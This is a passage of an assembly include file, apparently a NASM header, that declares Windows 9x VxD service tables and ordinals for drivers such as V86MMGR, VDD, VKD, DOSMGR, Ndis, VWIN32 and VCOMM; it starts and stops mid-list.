V86MMGR_Get_EMS_XMS_Limits ; 0x0003 ord+ V86MMGR_Service V86MMGR_Set_Mapping_Info ; 0x0004 ord+ V86MMGR_Service V86MMGR_Get_Mapping_Info ; 0x0005 ord+ V86MMGR_Service V86MMGR_Xlat_API ; 0x0006 ord+ V86MMGR_Service V86MMGR_Load_Client_Ptr ; 0x0007 ord+ V86MMGR_Service V86MMGR_Allocate_Buffer ; 0x0008 ord+ V86MMGR_Service V86MMGR_Free_Buffer ; 0x0009 ord+ V86MMGR_Service V86MMGR_Get_Xlat_Buff_State ; 0x000a ord+ V86MMGR_Service V86MMGR_Set_Xlat_Buff_State ; 0x000b ord+ V86MMGR_Service V86MMGR_Get_VM_Flat_Sel ; 0x000c ord+ V86MMGR_Service V86MMGR_Map_Pages ; 0x000d ord+ V86MMGR_Service V86MMGR_Free_Page_Map_Region ; 0x000e ord+ V86MMGR_Service V86MMGR_LocalGlobalReg ; 0x000f ord+ V86MMGR_Service V86MMGR_GetPgStatus ; 0x0010 ord+ V86MMGR_Service V86MMGR_SetLocalA20 ; 0x0011 ord+ V86MMGR_Service V86MMGR_ResetBasePages ; 0x0012 ord+ V86MMGR_Service V86MMGR_SetAvailMapPgs ; 0x0013 ord+ V86MMGR_Service V86MMGR_NoUMBInitCalls ; 0x0014 ord+ V86MMGR_Service V86MMGR_Get_EMS_XMS_Avail ; 0x0015 ord+ V86MMGR_Service V86MMGR_Toggle_HMA ; 0x0016 ord+ V86MMGR_Service V86MMGR_Dev_Init ; 0x0017 ord+ V86MMGR_Service V86MMGR_Alloc_UM_Page ; 0x0018 ord+ V86MMGR_Service V86MMGR_Check_NHSupport ; 0x0019 ord+End_Service_Table V86MMGR++Begin_Service_Table PageSwap ; 0x0007+ PageSwap_Service PageSwap_Get_Version ; 0x0000 ord+ PageSwap_Service PageSwap_Invalid_Service1 ; 0x0001 ord+ PageSwap_Service PageSwap_Invalid_Service2 ; 0x0002 ord+ PageSwap_Service PageSwap_Invalid_Service3 ; 0x0003 ord+ PageSwap_Service PageSwap_Invalid_Service4 ; 0x0004 ord+ PageSwap_Service PageSwap_Invalid_Service5 ; 0x0005 ord+ PageSwap_Service PageSwap_Test_IO_Valid ; 0x0006 ord+ PageSwap_Service PageSwap_Read_Or_Write ; 0x0007 ord+ PageSwap_Service PageSwap_Grow_File ; 0x0008 ord+ PageSwap_Service PageSwap_Init_File ; 0x0009 ord+End_Service_Table PageSwap++Begin_Service_Table PARITY ; 0x0008+End_Service_Table PARITY++Begin_Service_Table REBOOT ; 0x0009+End_Service_Table REBOOT++Begin_Service_Table VDD ; 0x000a+%ifdef NEC_98+ VDD_Service VDD_Get_Version ; 0x0000 ord+ VDD_Service VDD_PIF_State ; 0x0001 ord+ VDD_Service VDD_Get_GrabRtn ; 0x0002 ord+ VDD_Service VDD_Hide_Cursor ; 0x0003 ord+ VDD_Service VDD_Set_VMType ; 0x0004 ord+ VDD_Service VDD_Get_ModTime ; 0x0005 ord+ VDD_Service VDD_Set_HCurTrk ; 0x0006 ord+ VDD_Service VDD_Msg_ClrScrn ; 0x0007 ord+ VDD_Service VDD_Msg_ForColor ; 0x0008 ord+ VDD_Service VDD_Msg_BakColor ; 0x0009 ord+ VDD_Service VDD_Msg_TextOut ; 0x000a ord+ VDD_Service VDD_Msg_SetCursPos ; 0x000b ord+ VDD_Service VDD_Query_Access ; 0x000c ord+ VDD_Service VDD_Check_Update_Soon ; 0x000d ord+ VDD_Service VDD_Get_Mini_Dispatch_Table ; 0x000e ord+ VDD_Service VDD_Register_Virtual_Port ; 0x000f ord+ VDD_Service VDD_Get_VM_Info ; 0x0010 ord+ VDD_Service VDD_Get_Special_VM_IDs ; 0x0011 ord+ VDD_Service VDD_Register_Extra_Screen_Selector ; 0x0012 ord+ VDD_Service VDD_Takeover_VGA_Port ; 0x0013 ord+ VDD_Service VDD_Get_DISPLAYINFO ; 0x0014 ord+ VDD_Service VDD_Do_Physical_IO ; 0x0015 ord+ VDD_Service VDD_Register_Mini_VDD ; 0x0016 ord+ VDD_Service VDD_Install_IO_Handler ; 0x0017 ord+ VDD_Service VDD_Install_Mult_IO_Handlers ; 0x0018 ord+ VDD_Service VDD_Enable_Local_Trapping ; 0x0019 ord+ VDD_Service VDD_Disable_Local_Trapping ; 0x001a ord+ VDD_Service VDD_Trap_Suspend ; 0x001b ord+ VDD_Service Test_Vid_VM_Handle ; 0x001c ord+ VDD_Service VDD_Set_Core_Graphics ; 0x001d ord+ VDD_Service VDD_Load_AccBIOS ; 0x001e ord+ VDD_Service VDD_Map_AccBIOS ; 0x001f ord+ VDD_Service VDD_Map_VRAM ; 0x0020 ord+ VDD_Service VDD_EnableDevice ; 0x0021 ord+%else+ VDD_Service VDD_Get_Version ; 0x0000 ord+ VDD_Service VDD_PIF_State ; 0x0001 ord+ VDD_Service VDD_Get_GrabRtn ; 0x0002 ord+ VDD_Service VDD_Hide_Cursor ; 0x0003 ord+ VDD_Service VDD_Set_VMType ; 0x0004 ord+ VDD_Service VDD_Get_ModTime ; 0x0005 ord+ VDD_Service VDD_Set_HCurTrk ; 0x0006 ord+ VDD_Service VDD_Msg_ClrScrn ; 0x0007 ord+ VDD_Service VDD_Msg_ForColor ; 0x0008 ord+ VDD_Service VDD_Msg_BakColor ; 0x0009 ord+ VDD_Service VDD_Msg_TextOut ; 0x000a ord+ VDD_Service VDD_Msg_SetCursPos ; 0x000b ord+ VDD_Service VDD_Query_Access ; 0x000c ord+ VDD_Service VDD_Check_Update_Soon ; 0x000d ord+ VDD_Service VDD_Get_Mini_Dispatch_Table ; 0x000e ord+ VDD_Service VDD_Register_Virtual_Port ; 0x000f ord+ VDD_Service VDD_Get_VM_Info ; 0x0010 ord+ VDD_Service VDD_Get_Special_VM_IDs ; 0x0011 ord+ VDD_Service VDD_Register_Extra_Screen_Selector ; 0x0012 ord+ VDD_Service VDD_Takeover_VGA_Port ; 0x0013 ord+ VDD_Service VDD_Get_DISPLAYINFO ; 0x0014 ord+ VDD_Service VDD_Do_Physical_IO ; 0x0015 ord+ VDD_Service VDD_Set_Sleep_Flag_Addr ; 0x0016 ord+ VDD_Service VDD_EnableDevice ; 0x0017 ord+%endif+End_Service_Table VDD++Begin_Service_Table VSD ; 0x000b+ VSD_Service VSD_Get_Version ; 0x0000 ord+ VSD_Service VSD_Bell ; 0x0001 ord+ VSD_Service VSD_SoundOn ; 0x0002 ord+ VSD_Service VSD_TakeSoundPort ; 0x0003 ord+End_Service_Table VSD++Begin_Service_Table VMD ; 0x000c+ VMD_Service VMD_Get_Version ; 0x0000 ord+ VMD_Service VMD_Set_Mouse_Type ; 0x0001 ord+ VMD_Service VMD_Get_Mouse_Owner ; 0x0002 ord+End_Service_Table VMD++Begin_Service_Table VKD ; 0x000d+ VKD_Service VKD_Get_Version ; 0x0000 ord+ VKD_Service VKD_Define_Hot_Key ; 0x0001 ord+ VKD_Service VKD_Remove_Hot_Key ; 0x0002 ord+ VKD_Service VKD_Local_Enable_Hot_Key ; 0x0003 ord+ VKD_Service VKD_Local_Disable_Hot_Key ; 0x0004 ord+ VKD_Service VKD_Reflect_Hot_Key ; 0x0005 ord+ VKD_Service VKD_Cancel_Hot_Key_State ; 0x0006 ord+ VKD_Service VKD_Force_Keys ; 0x0007 ord+ VKD_Service VKD_Get_Kbd_Owner ; 0x0008 ord+ VKD_Service VKD_Define_Paste_Mode ; 0x0009 ord+ VKD_Service VKD_Start_Paste ; 0x000a ord+ VKD_Service VKD_Cancel_Paste ; 0x000b ord+ VKD_Service VKD_Get_Msg_Key ; 0x000c ord+ VKD_Service VKD_Peek_Msg_Key ; 0x000d ord+ VKD_Service VKD_Flush_Msg_Key_Queue ; 0x000e ord+ VKD_Service VKD_Enable_Keyboard ; 0x000f ord+ VKD_Service VKD_Disable_Keyboard ; 0x0010 ord+ VKD_Service VKD_Get_Shift_State ; 0x0011 ord+ VKD_Service VKD_Filter_Keyboard_Input ; 0x0012 ord+ VKD_Service VKD_Put_Byte ; 0x0013 ord+ VKD_Service VKD_Set_Shift_State ; 0x0014 ord+ VKD_Service VKD_Send_Data ; 0x0015 ord+ VKD_Service VKD_Set_LEDs ; 0x0016 ord+ VKD_Service VKD_Set_Key_Rate ; 0x0017 ord+End_Service_Table VKD++Begin_Service_Table VCD ; 0x000e+ VCD_Service VCD_Get_Version ; 0x0000 ord+ VCD_Service VCD_Set_Port_Global ; 0x0001 ord+ VCD_Service VCD_Get_Focus ; 0x0002 ord+ VCD_Service VCD_Virtualize_Port ; 0x0003 ord+ VCD_Service VCD_Acquire_Port ; 0x0004 ord+ VCD_Service VCD_Free_Port ; 0x0005 ord+ VCD_Service VCD_Acquire_Port_Windows_Style ; 0x0006 ord+ VCD_Service VCD_Free_Port_Windows_Style ; 0x0007 ord+ VCD_Service VCD_Steal_Port_Windows_Style ; 0x0008 ord+ VCD_Service VCD_Find_COM_Index ; 0x0009 ord+ VCD_Service VCD_Set_Port_Global_Special ; 0x000a ord+ VCD_Service VCD_Virtualize_Port_Dynamic ; 0x000b ord+ VCD_Service VCD_Unvirtualize_Port_Dynamic ; 0x000c ord+End_Service_Table VCD++Begin_Service_Table VPD ; 0x000f+End_Service_Table VPD++Begin_Service_Table BlockDev ; 0x0010+ BlockDev_Service BlockDev_Get_Version ; 0x0000 ord+ BlockDev_Service BlockDev_Register_Device ; 0x0001 ord+ BlockDev_Service BlockDev_Find_Int13_Drive ; 0x0002 ord+ BlockDev_Service BlockDev_Get_Device_List ; 0x0003 ord+ BlockDev_Service BlockDev_Send_Command ; 0x0004 ord+ BlockDev_Service BlockDev_Command_Complete ; 0x0005 ord+ BlockDev_Service BlockDev_Synchronous_Command ; 0x0006 ord+End_Service_Table BlockDev++Begin_Service_Table VMCPD ; 0x0011+ VMCPD_Service VMCPD_Get_Version ; 0x0000 ord+ VMCPD_Service VMCPD_Get_Virt_State ; 0x0001 ord+ VMCPD_Service VMCPD_Set_Virt_State ; 0x0002 ord+ VMCPD_Service VMCPD_Get_CR0_State ; 0x0003 ord+ VMCPD_Service VMCPD_Set_CR0_State ; 0x0004 ord+ VMCPD_Service VMCPD_Get_Thread_State ; 0x0005 ord+ VMCPD_Service VMCPD_Set_Thread_State ; 0x0006 ord+ VMCPD_Service _VMCPD_Get_FP_Instruction_Size ; 0x0007 ord+ VMCPD_Service VMCPD_Set_Thread_Precision ; 0x0008 ord+ VMCPD_Service VMCPD_Init_FP ; 0x0009 ord+ VMCPD_Service _KeSaveFloatingPointState ; 0x000a ord+ VMCPD_Service _KeRestoreFloatingPointState ; 0x000b ord+ VMCPD_Service VMCPD_Init_FP_State ; 0x000c ord+End_Service_Table VMCPD++Begin_Service_Table EBIOS ; 0x0012+ EBIOS_Service EBIOS_Get_Version ; 0x0000 ord+ EBIOS_Service EBIOS_Get_Unused_Mem ; 0x0001 ord+End_Service_Table EBIOS++Begin_Service_Table BIOSXLAT ; 0x0013+End_Service_Table BIOSXLAT++Begin_Service_Table VNETBIOS ; 0x0014+ VNETBIOS_Service VNETBIOS_Get_Version ; 0x0000 ord+ VNETBIOS_Service VNETBIOS_Register ; 0x0001 ord+ VNETBIOS_Service VNETBIOS_Submit ; 0x0002 ord+ VNETBIOS_Service VNETBIOS_Enum ; 0x0003 ord+ VNETBIOS_Service VNETBIOS_Deregister ; 0x0004 ord+ VNETBIOS_Service VNETBIOS_Register2 ; 0x0005 ord+ VNETBIOS_Service VNETBIOS_Map ; 0x0006 ord+ VNETBIOS_Service VNETBIOS_Enum2 ; 0x0007 ord+End_Service_Table VNETBIOS++Begin_Service_Table DOSMGR ; 0x0015+ DOSMGR_Service DOSMGR_Get_Version ; 0x0000 ord+ DOSMGR_Service _DOSMGR_Set_Exec_VM_Data ; 0x0001 ord+ DOSMGR_Service DOSMGR_Copy_VM_Drive_State ; 0x0002 ord+ DOSMGR_Service _DOSMGR_Exec_VM ; 0x0003 ord+ DOSMGR_Service DOSMGR_Get_IndosPtr ; 0x0004 ord+ DOSMGR_Service DOSMGR_Add_Device ; 0x0005 ord+ DOSMGR_Service DOSMGR_Remove_Device ; 0x0006 ord+ DOSMGR_Service DOSMGR_Instance_Device ; 0x0007 ord+ DOSMGR_Service DOSMGR_Get_DOS_Crit_Status ; 0x0008 ord+ DOSMGR_Service DOSMGR_Enable_Indos_Polling ; 0x0009 ord+ DOSMGR_Service DOSMGR_BackFill_Allowed ; 0x000a ord+ DOSMGR_Service DOSMGR_LocalGlobalReg ; 0x000b ord+ DOSMGR_Service DOSMGR_Init_UMB_Area ; 0x000c ord+ DOSMGR_Service DOSMGR_Begin_V86_App ; 0x000d ord+ DOSMGR_Service DOSMGR_End_V86_App ; 0x000e ord+ DOSMGR_Service DOSMGR_Alloc_Local_Sys_VM_Mem ; 0x000f ord+ DOSMGR_Service DOSMGR_Grow_CDSs ; 0x0010 ord+ DOSMGR_Service DOSMGR_Translate_Server_DOS_Call ; 0x0011 ord+ DOSMGR_Service DOSMGR_MMGR_PSP_Change_Notifier ; 0x0012 ord+End_Service_Table DOSMGR++Begin_Service_Table WINLOAD ; 0x0016+End_Service_Table WINLOAD++Begin_Service_Table SHELL ; 0x0017+ SHELL_Service SHELL_Get_Version ; 0x0000 ord+ SHELL_Service SHELL_Resolve_Contention ; 0x0001 ord+ SHELL_Service SHELL_Event ; 0x0002 ord+ SHELL_Service SHELL_SYSMODAL_Message ; 0x0003 ord+ SHELL_Service SHELL_Message ; 0x0004 ord+ SHELL_Service SHELL_GetVMInfo ; 0x0005 ord+ SHELL_Service _SHELL_PostMessage ; 0x0006 ord+ SHELL_Service _SHELL_ShellExecute ; 0x0007 ord+ SHELL_Service _SHELL_PostShellMessage ; 0x0008 ord+ SHELL_Service SHELL_DispatchRing0AppyEvents ; 0x0009 ord+ SHELL_Service SHELL_Hook_Properties ; 0x000a ord+ SHELL_Service SHELL_Unhook_Properties ; 0x000b ord+ SHELL_Service SHELL_Update_User_Activity ; 0x000c ord+ SHELL_Service _SHELL_QueryAppyTimeAvailable ; 0x000d ord+ SHELL_Service _SHELL_CallAtAppyTime ; 0x000e ord+ SHELL_Service _SHELL_CancelAppyTimeEvent ; 0x000f ord+ SHELL_Service _SHELL_BroadcastSystemMessage ; 0x0010 ord+ SHELL_Service _SHELL_HookSystemBroadcast ; 0x0011 ord+ SHELL_Service _SHELL_UnhookSystemBroadcast ; 0x0012 ord+ SHELL_Service _SHELL_LocalAllocEx ; 0x0013 ord+ SHELL_Service _SHELL_LocalFree ; 0x0014 ord+ SHELL_Service _SHELL_LoadLibrary ; 0x0015 ord+ SHELL_Service _SHELL_FreeLibrary ; 0x0016 ord+ SHELL_Service _SHELL_GetProcAddress ; 0x0017 ord+ SHELL_Service _SHELL_CallDll ; 0x0018 ord+ SHELL_Service _SHELL_SuggestSingleMSDOSMode ; 0x0019 ord+ SHELL_Service SHELL_CheckHotkeyAllowed ; 0x001a ord+ SHELL_Service _SHELL_GetDOSAppInfo ; 0x001b ord+ SHELL_Service _SHELL_Update_User_Activity_Ex ; 0x001c ord+End_Service_Table SHELL++Begin_Service_Table VMPoll ; 0x0018+ VMPoll_Service VMPoll_Get_Version ; 0x0000 ord+ VMPoll_Service VMPoll_Enable_Disable ; 0x0001 ord+ VMPoll_Service VMPoll_Reset_Detection ; 0x0002 ord+ VMPoll_Service VMPoll_Check_Idle ; 0x0003 ord+End_Service_Table VMPoll++Begin_Service_Table VPROD ; 0x0019+End_Service_Table VPROD++Begin_Service_Table DOSNET ; 0x001a+ DOSNET_Service DOSNET_Get_Version ; 0x0000 ord+ DOSNET_Service DOSNET_Send_FILESYSCHANGE ; 0x0001 ord+ DOSNET_Service DOSNET_Do_PSP_Adjust ; 0x0002 ord+End_Service_Table DOSNET++Begin_Service_Table VFD ; 0x001b+ VFD_Service VFD_Get_Version ; 0x0000 ord+End_Service_Table VFD++Begin_Service_Table VDD2 ; 0x001c+ VDD2_Service VDD2_Get_Version ; 0x0000 ord+End_Service_Table VDD2++Begin_Service_Table WINDEBUG ; 0x001d+End_Service_Table WINDEBUG++Begin_Service_Table TSRLOAD ; 0x001e+End_Service_Table TSRLOAD++Begin_Service_Table BIOSHOOK ; 0x001f+End_Service_Table BIOSHOOK++Begin_Service_Table Int13 ; 0x0020+ Int13_Service Int13_Get_Version ; 0x0000 ord+ Int13_Service Int13_Device_Registered ; 0x0001 ord+ Int13_Service Int13_Translate_VM_Int ; 0x0002 ord+ Int13_Service Int13_Hooking_BIOS_Int ; 0x0003 ord+ Int13_Service Int13_Unhooking_BIOS_Int ; 0x0004 ord+End_Service_Table Int13++Begin_Service_Table PageFile ; 0x0021+ PageFile_Service PageFile_Get_Version ; 0x0000 ord+ PageFile_Service PageFile_Init_File ; 0x0001 ord+ PageFile_Service PageFile_Clean_Up ; 0x0002 ord+ PageFile_Service PageFile_Grow_File ; 0x0003 ord+ PageFile_Service PageFile_Read_Or_Write ; 0x0004 ord+ PageFile_Service PageFile_Cancel ; 0x0005 ord+ PageFile_Service PageFile_Test_IO_Valid ; 0x0006 ord+ PageFile_Service PageFile_Get_Size_Info ; 0x0007 ord+ PageFile_Service PageFile_Set_Async_Manager ; 0x0008 ord+ PageFile_Service PageFile_Call_Async_Manager ; 0x0009 ord+End_Service_Table PageFile++Begin_Service_Table SCSI ; 0x0022+End_Service_Table SCSI++Begin_Service_Table SCSIFD ; 0x0024+End_Service_Table SCSIFD++Begin_Service_Table VPEND ; 0x0025+End_Service_Table VPEND++Begin_Service_Table APM ; 0x0026+End_Service_Table APM++Begin_Service_Table VXDLDR ; 0x0027+ VXDLDR_Service VXDLDR_GetVersion ; 0x0000 ord+ VXDLDR_Service VXDLDR_LoadDevice ; 0x0001 ord+ VXDLDR_Service VXDLDR_UnloadDevice ; 0x0002 ord+ VXDLDR_Service VXDLDR_DevInitSucceeded ; 0x0003 ord+ VXDLDR_Service VXDLDR_DevInitFailed ; 0x0004 ord+ VXDLDR_Service VXDLDR_GetDeviceList ; 0x0005 ord+ VXDLDR_Service VXDLDR_UnloadMe ; 0x0006 ord+ VXDLDR_Service _PELDR_LoadModule ; 0x0007 ord+ VXDLDR_Service _PELDR_GetModuleHandle ; 0x0008 ord+ VXDLDR_Service _PELDR_GetModuleUsage ; 0x0009 ord+ VXDLDR_Service _PELDR_GetEntryPoint ; 0x000a ord+ VXDLDR_Service _PELDR_GetProcAddress ; 0x000b ord+ VXDLDR_Service _PELDR_AddExportTable ; 0x000c ord+ VXDLDR_Service _PELDR_RemoveExportTable ; 0x000d ord+ VXDLDR_Service _PELDR_FreeModule ; 0x000e ord+ VXDLDR_Service VXDLDR_Notify ; 0x000f ord+ VXDLDR_Service _PELDR_InitCompleted ; 0x0010 ord+ VXDLDR_Service _PELDR_LoadModuleEx ; 0x0011 ord+ VXDLDR_Service _PELDR_LoadModule2 ; 0x0012 ord+End_Service_Table VXDLDR++Begin_Service_Table Ndis ; 0x0028+ Ndis_Service NdisGetVersion ; 0x0000 ord+ Ndis_Service NdisAllocateSpinLock ; 0x0001 ord+ Ndis_Service NdisFreeSpinLock ; 0x0002 ord+ Ndis_Service NdisAcquireSpinLock ; 0x0003 ord+ Ndis_Service NdisReleaseSpinLock ; 0x0004 ord+ Ndis_Service NdisOpenConfiguration ; 0x0005 ord+ Ndis_Service NdisReadConfiguration ; 0x0006 ord+ Ndis_Service NdisCloseConfiguration ; 0x0007 ord+ Ndis_Service NdisReadEisaSlotInformation ; 0x0008 ord+ Ndis_Service NdisReadMcaPosInformation ; 0x0009 ord+ Ndis_Service NdisAllocateMemory ; 0x000a ord+ Ndis_Service NdisFreeMemory ; 0x000b ord+ Ndis_Service NdisSetTimer ; 0x000c ord+ Ndis_Service NdisCancelTimer ; 0x000d ord+ Ndis_Service NdisStallExecution ; 0x000e ord+ Ndis_Service NdisInitializeInterrupt ; 0x000f ord+ Ndis_Service NdisRemoveInterrupt ; 0x0010 ord+ Ndis_Service NdisSynchronizeWithInterrupt ; 0x0011 ord+ Ndis_Service NdisOpenFile ; 0x0012 ord+ Ndis_Service NdisMapFile ; 0x0013 ord+ Ndis_Service NdisUnmapFile ; 0x0014 ord+ Ndis_Service NdisCloseFile ; 0x0015 ord+ Ndis_Service NdisAllocatePacketPool ; 0x0016 ord+ Ndis_Service NdisFreePacketPool ; 0x0017 ord+ Ndis_Service NdisAllocatePacket ; 0x0018 ord+ Ndis_Service NdisReinitializePacket ; 0x0019 ord+ Ndis_Service NdisFreePacket ; 0x001a ord+ Ndis_Service NdisQueryPacket ; 0x001b ord+ Ndis_Service NdisAllocateBufferPool ; 0x001c ord+ Ndis_Service NdisFreeBufferPool ; 0x001d ord+ Ndis_Service NdisAllocateBuffer ; 0x001e ord+ Ndis_Service NdisCopyBuffer ; 0x001f ord+ Ndis_Service NdisFreeBuffer ; 0x0020 ord+ Ndis_Service NdisQueryBuffer ; 0x0021 ord+ Ndis_Service NdisGetBufferPhysicalAddress ; 0x0022 ord+ Ndis_Service NdisChainBufferAtFront ; 0x0023 ord+ Ndis_Service NdisChainBufferAtBack ; 0x0024 ord+ Ndis_Service NdisUnchainBufferAtFront ; 0x0025 ord+ Ndis_Service NdisUnchainBufferAtBack ; 0x0026 ord+ Ndis_Service NdisGetNextBuffer ; 0x0027 ord+ Ndis_Service NdisCopyFromPacketToPacket ; 0x0028 ord+ Ndis_Service NdisRegisterProtocol ; 0x0029 ord+ Ndis_Service NdisDeregisterProtocol ; 0x002a ord+ Ndis_Service NdisOpenAdapter ; 0x002b ord+ Ndis_Service NdisCloseAdapter ; 0x002c ord+ Ndis_Service NdisSend ; 0x002d ord+ Ndis_Service NdisTransferData ; 0x002e ord+ Ndis_Service NdisReset ; 0x002f ord+ Ndis_Service NdisRequest ; 0x0030 ord+ Ndis_Service NdisInitializeWrapper ; 0x0031 ord+ Ndis_Service NdisTerminateWrapper ; 0x0032 ord+ Ndis_Service NdisRegisterMac ; 0x0033 ord+ Ndis_Service NdisDeregisterMac ; 0x0034 ord+ Ndis_Service NdisRegisterAdapter ; 0x0035 ord+ Ndis_Service NdisDeregisterAdapter ; 0x0036 ord+ Ndis_Service NdisCompleteOpenAdapter ; 0x0037 ord+ Ndis_Service NdisCompleteCloseAdapter ; 0x0038 ord+ Ndis_Service NdisCompleteSend ; 0x0039 ord+ Ndis_Service NdisCompleteTransferData ; 0x003a ord+ Ndis_Service NdisCompleteReset ; 0x003b ord+ Ndis_Service NdisCompleteRequest ; 0x003c ord+ Ndis_Service NdisIndicateReceive ; 0x003d ord+ Ndis_Service NdisIndicateReceiveComplete ; 0x003e ord+ Ndis_Service NdisIndicateStatus ; 0x003f ord+ Ndis_Service NdisIndicateStatusComplete ; 0x0040 ord+ Ndis_Service NdisCompleteQueryStatistics ; 0x0041 ord+ Ndis_Service NdisEqualString ; 0x0042 ord+ Ndis_Service NdisRegAdaptShutdown ; 0x0043 ord+ Ndis_Service NdisReadNetworkAddress ; 0x0044 ord+ Ndis_Service NdisWriteErrorLogEntry ; 0x0045 ord+ Ndis_Service NdisMapIoSpace ; 0x0046 ord+ Ndis_Service NdisDeregAdaptShutdown ; 0x0047 ord+ Ndis_Service NdisAllocateSharedMemory ; 0x0048 ord+ Ndis_Service NdisFreeSharedMemory ; 0x0049 ord+ Ndis_Service NdisAllocateDmaChannel ; 0x004a ord+ Ndis_Service NdisSetupDmaTransfer ; 0x004b ord+ Ndis_Service NdisCompleteDmaTransfer ; 0x004c ord+ Ndis_Service NdisReadDmaCounter ; 0x004d ord+ Ndis_Service NdisFreeDmaChannel ; 0x004e ord+ Ndis_Service NdisReleaseAdapterResources ; 0x004f ord+ Ndis_Service NdisQueryGlobalStatistics ; 0x0050 ord+ Ndis_Service NdisOpenProtocolConfiguration ; 0x0051 ord+ Ndis_Service NdisCompleteBindAdapter ; 0x0052 ord+ Ndis_Service NdisCompleteUnbindAdapter ; 0x0053 ord+ Ndis_Service WrapperStartNet ; 0x0054 ord+ Ndis_Service WrapperGetComponentList ; 0x0055 ord+ Ndis_Service WrapperQueryAdapterResources ; 0x0056 ord+ Ndis_Service WrapperDelayBinding ; 0x0057 ord+ Ndis_Service WrapperResumeBinding ; 0x0058 ord+ Ndis_Service WrapperRemoveChildren ; 0x0059 ord+ Ndis_Service NdisImmediateReadPciSlotInformation ; 0x005a ord+ Ndis_Service NdisImmediateWritePciSlotInformation ; 0x005b ord+ Ndis_Service NdisReadPciSlotInformation ; 0x005c ord+ Ndis_Service NdisWritePciSlotInformation ; 0x005d ord+ Ndis_Service NdisPciAssignResources ; 0x005e ord+ Ndis_Service NdisQueryBufferOffset ; 0x005f ord+ Ndis_Service NdisMWanSend ; 0x0060 ord+ Ndis_Service DbgPrint ; 0x0061 ord+ Ndis_Service NdisInitializeEvent ; 0x0062 ord+ Ndis_Service NdisSetEvent ; 0x0063 ord+ Ndis_Service NdisResetEvent ; 0x0064 ord+ Ndis_Service NdisWaitEvent ; 0x0065 ord+End_Service_Table Ndis++Begin_Service_Table VWIN32 ; 0x002a+ VWIN32_Service VWIN32_Get_Version ; 0x0000 ord+ VWIN32_Service VWIN32_DIOCCompletionRoutine ; 0x0001 ord+ VWIN32_Service _VWIN32_QueueUserApc ; 0x0002 ord+ VWIN32_Service _VWIN32_Get_Thread_Context ; 0x0003 ord+ VWIN32_Service _VWIN32_Set_Thread_Context ; 0x0004 ord+ VWIN32_Service _VWIN32_CopyMem ; 0x0005 ord+ VWIN32_Service _VWIN32_Npx_Exception ; 0x0006 ord+ VWIN32_Service _VWIN32_Emulate_Npx ; 0x0007 ord+ VWIN32_Service _VWIN32_CheckDelayedNpxTrap ; 0x0008 ord+ VWIN32_Service VWIN32_EnterCrstR0 ; 0x0009 ord+ VWIN32_Service VWIN32_LeaveCrstR0 ; 0x000a ord+ VWIN32_Service _VWIN32_FaultPopup ; 0x000b ord+ VWIN32_Service VWIN32_GetContextHandle ; 0x000c ord+ VWIN32_Service VWIN32_GetCurrentProcessHandle ; 0x000d ord+ VWIN32_Service _VWIN32_SetWin32Event ; 0x000e ord+ VWIN32_Service _VWIN32_PulseWin32Event ; 0x000f ord+ VWIN32_Service _VWIN32_ResetWin32Event ; 0x0010 ord+ VWIN32_Service _VWIN32_WaitSingleObject ; 0x0011 ord+ VWIN32_Service _VWIN32_WaitMultipleObjects ; 0x0012 ord+ VWIN32_Service _VWIN32_CreateRing0Thread ; 0x0013 ord+ VWIN32_Service _VWIN32_CloseVxDHandle ; 0x0014 ord+ VWIN32_Service VWIN32_ActiveTimeBiasSet ; 0x0015 ord+ VWIN32_Service VWIN32_GetCurrentDirectory ; 0x0016 ord+ VWIN32_Service VWIN32_BlueScreenPopup ; 0x0017 ord+ VWIN32_Service VWIN32_TerminateApp ; 0x0018 ord+ VWIN32_Service _VWIN32_QueueKernelAPC ; 0x0019 ord+ VWIN32_Service VWIN32_SysErrorBox ; 0x001a ord+ VWIN32_Service _VWIN32_IsClientWin32 ; 0x001b ord+ VWIN32_Service VWIN32_IFSRIPWhenLev2Taken ; 0x001c ord+; win95 services end here+ VWIN32_Service _VWIN32_InitWin32Event ; 0x001d ord+ VWIN32_Service _VWIN32_InitWin32Mutex ; 0x001e ord+ VWIN32_Service _VWIN32_ReleaseWin32Mutex ; 0x001f ord+ VWIN32_Service _VWIN32_BlockThreadEx ; 0x0020 ord+ VWIN32_Service VWIN32_GetProcessHandle ; 0x0021 ord+ VWIN32_Service _VWIN32_InitWin32Semaphore ; 0x0022 ord+ VWIN32_Service _VWIN32_SignalWin32Sem ; 0x0023 ord+ VWIN32_Service _VWIN32_QueueUserApcEx ; 0x0024 ord+ VWIN32_Service _VWIN32_OpenVxDHandle ; 0x0025 ord+ VWIN32_Service _VWIN32_CloseWin32Handle ; 0x0026 ord+ VWIN32_Service _VWIN32_AllocExternalHandle ; 0x0027 ord+ VWIN32_Service _VWIN32_UseExternalHandle ; 0x0028 ord+ VWIN32_Service _VWIN32_UnuseExternalHandle ; 0x0029 ord+ VWIN32_Service KeInitializeTimer ; 0x002a ord+ VWIN32_Service KeSetTimer ; 0x002b ord+ VWIN32_Service KeCancelTimer ; 0x002c ord+ VWIN32_Service KeReadStateTimer ; 0x002d ord+ VWIN32_Service _VWIN32_ReferenceObject ; 0x002e ord+ VWIN32_Service _VWIN32_GetExternalHandle ; 0x002f ord+ VWIN32_Service VWIN32_ConvertNtTimeout ; 0x0030 ord+ VWIN32_Service _VWIN32_SetWin32EventBoostPriority ; 0x0031 ord+ VWIN32_Service _VWIN32_GetRing3Flat32Selectors ; 0x0032 ord+ VWIN32_Service _VWIN32_GetCurThreadCondition ; 0x0033 ord+ VWIN32_Service VWIN32_Init_FP ; 0x0034 ord+ VWIN32_Service R0SetWaitableTimer ; 0x0035 ord+End_Service_Table VWIN32++Begin_Service_Table VCOMM ; 0x002b+ VCOMM_Service VCOMM_Get_Version ; 0x0000 ord+ VCOMM_Service _VCOMM_Register_Port_Driver ; 0x0001 ord+ VCOMM_Service _VCOMM_Acquire_Port ; 0x0002 ord+ VCOMM_Service _VCOMM_Release_Port ; 0x0003 ord+ VCOMM_Service _VCOMM_OpenComm ; 0x0004 ord+ VCOMM_Service _VCOMM_SetCommState ; 0x0005 ord+ VCOMM_Service _VCOMM_GetCommState ; 0x0006 ord+ VCOMM_Service _VCOMM_SetupComm ; 0x0007 ord+ VCOMM_Service _VCOMM_TransmitCommChar ; 0x0008 ord+ VCOMM_Service _VCOMM_CloseComm ; 0x0009 ord+ VCOMM_Service _VCOMM_GetCommQueueStatus ; 0x000a ord+ VCOMM_Service _VCOMM_ClearCommError ; 0x000b ord+ VCOMM_Service _VCOMM_GetModemStatus ; 0x000c ord+ VCOMM_Service _VCOMM_GetCommProperties ; 0x000d ord+ VCOMM_Service _VCOMM_EscapeCommFunction ; 